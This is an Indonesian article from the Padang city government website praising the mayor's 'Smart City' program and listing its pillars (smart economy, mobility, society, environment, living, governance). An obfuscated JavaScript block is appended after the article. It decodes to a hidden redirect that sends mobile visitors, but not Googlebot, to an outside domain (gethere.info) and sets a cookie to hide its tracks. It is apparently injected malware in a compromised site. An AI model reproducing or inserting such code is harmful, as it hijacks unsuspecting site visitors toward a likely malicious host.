richar-padang

Tak Berkategori

Obsesi Mahyeldi – Emzalmi

10 Nov , 2016  

Padang Jadi Kota Smart City

Oleh; Richardi Akbar, S. Sos

 

 

Pemerintah Kota Padang dibawah kepemimpinan Walikota H. Mahyeldi Ansharulah dan Wakil Walikota H. Emzalmi (Periode 2014 – 2019) terus menggulirkan program/ kebijakan yang berpihak kepada masyarakat, melakukan berbagai inovasi dan terobosan yang jitu.

Misalnya, Bila selama ini untuk melakukan penataan pedagang di kawasan pantai Padang sangat sulit, ternyata melalui tangan dingin Walikota H. Mahyeldi semuanya jadi beres, dan kawasan tersebut saat ini sudah menjadi salah satu icon wisata Kota Padang yang handal dan menjanjikan. Apalagi juga dilengkapi Tugu IORA dan Monumen Merpati Perdamaian yang semakin memancing turis lokal dan manca negara menikmati kawasan pantai yang ASRI tersebut. Begitu juga halnya program lain semakin berhasil.

Bila diurut satu persatu 10 program andalan walikota sudah berjalan dan terlaksana ibarat air mengalir tanpa harus mengalami hambatan yang berarti. Semua berkat dukungan dan partisipasi aktif seluruh aparat dan perhatian serius berbagai komponen masyarakat Kota Padang.

Untuk menyandingkan Kota Padang sama posisinya dengan kota kota besar lainnya di tanah air, bahkan mancanegara, Mahyeldi bertekad menggulirkan program yang cerdas, yaitu ‘’Padang Menuju Kota Smart City’’ (Kota Cerdas).

Persiapan ke arah tersebut sudah dilakukan sejak awal awal kepemimpinannya, yang digagas oleh jajaran Dinas Pehubungan Kominfo Kota Padang bersama sejumlah pejabat teras. Untuk mewujudkan impian tersebut sudah dilakukan studi banding ke sejumlah kota besar, seperti Kota Surabaya, Jakarta dan kota kota besar lainnya di tanah air,  dengan referensi keberhasilan sejumlah kota besar di dunia.

Smart City adalah sebuah konsep kota cerdes/ pintar yang membantu masyarakat  dengan mengelola sumber daya yang ada dengan efisien dan memberikan informasi yang tepat kepada masyarakat/ lembaga dalam melakukan kegiatannya. Mampu menggunakan SDM, dan infastruktur telekomunikasi moderen untuk mewujudkan pertumbuhan ekonomi berkelanjutan, kehidupan berkwalitas, dengan manejemen sumber daya yang bijaksana melalui pemerintah berbasis partisipasi masyarakat.

Kemunculan Smart City merupakan hasil dari gabungan modal sumber daya manusia (  angkatan kerja terdidik ). Modal infrastruktur ( fasilitas komunikasi yang berteknologi tinggi). Modal sosial ( jaringan komunikasi yang telah terbuka) dan modal enterpreuncurial ( aktifitas bisnis kreaktif ).

Obsesi Walikota Mahyeldi, Smart City yaitu sebuah kota pintar yang mampu membantu masyarakat  mengelola apa  yang ada disekitarnya  dengan baik, membantu masyarakat  hidup lebih baik, dan nyaman akan kotanya.

Pilar utamanya yaitu Ekonomi Pintar (Inovasi dan Persiangan) : maksudnya adalah semakin tingginya inovasi-inovasi baru yang di tingkatkan akan menambah peluang usaha dan meningkatkan persaingan pasar usaha/modal.

Mobilitas Pintar (transportasi dan infrastruktur) : Pengelolaan infrastruktur kota yang di kembangkan dimasa depan merupakan sebuah sistem sebuah sistem pengelolaan terpadu dan diorientasikan untuk menjamin keberpihakan kepada kepentingan publik.

Masyarakat Pintar (kreativitas dan modal sosial) : Pembangunan senantiasa membutuhkan modal, baik modal ekonomi (economic capital), modal manusia (human capital) maupun modal sosial (social capital). Kemudahan akses modal dan pelatihan-pelatihan bagi UMKM dapat meningkatkan kemampuan dan ketrampilan mereka dalam mengembangkan usahanya.

Modal sosial termasuk elemen-elemennya seperti kepercayaan, gotong royong, toleransi, penghargaan, saling memberi dan saling menerima serta kolaborasi sosial memiliki pengaruh yang besar terhadap pertumbuhan ekonomi melalui berbagai mekanisme seperti meningkatnya rasa tanggungjawab terhadsap kepentingan publik, meluasnya partisipasi dalam proses demokrasi, menguatnya keserasian masyarakat dan menurunya tingkat kejahatan.

Lingkungan Pintar (keberlanjutan dan sumber daya) : lingkungan itu berarti lingkungan yang bisa memberikan kenyamanan, Keberlanjutan sumber daya, keindahan fisik maupun non fisik, visual maupun tidak, bagi masyarakat dan publik. Lingkungan yang bersih tertata, RTH yang stabil merupakan contoh dari penerapan lingkungan yang pintar.

Cerdas hidup ( kualitas hidup dan kebudayaan) : Berbudaya, bararti bahwa manusia memiliki kualitas hidup yang terukur (budaya). Kualitas hidup tersebut bersifat dinamis, dalam artian selalu berusaha memperbaiki dirinya sendiri. Pencapaian budaya pada manusia, secara langsung maupun tidak langsung merupakan hasil dari pendidikan. Maka kualitas pendidikan yang baik adalah jaminan atas kualitas budaya, dan atau budaya yang berkualitas merupakan hasil dari pendidikan yang berkualitas.

Pemerintah yang cerdas (pemberdayaan dan pertisipasi) : Kunci utama keberhasilan penyelenggaraan pemerintah dalah Good Governance. Yaitu paradigma, sistem dan proses penyelenggaraan pemerintahan dan pembangunan yang mengindahkan prinsip-prinsip supremasi hukum, kemanusian dan keadilan, demokrasi, partisipasi, transparansi, profesionalitas dan akuntabilitas ditambah dengan komitmen terhadap tegaknya nilai dan prinsip “desentralisasi, daya guna, hasil guna, pemerintah yang bersih dan bertanggungjawab.

Untuk mewujudkan Padang Kota Smart City perlu kesiapan infrastruktur/ sarana prasarana Teknologi Informasi Komunikasi (TIK), regulasi,  sumber daya manusia berkwalitas/ aparat yang handal, dan finansial yang cukup.  ***

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Leave a Reply

Your email address will not be published. Required fields are marked *

Link Terkait

Kontak Form

Informasi

Jln. Bagindo Aziz Chan, Aie Pacah Kota Padang, Sumatera Barat.

(+62) - 751 - 25586

info@padang.go.id

© Copyright 2017   - Padang.go.id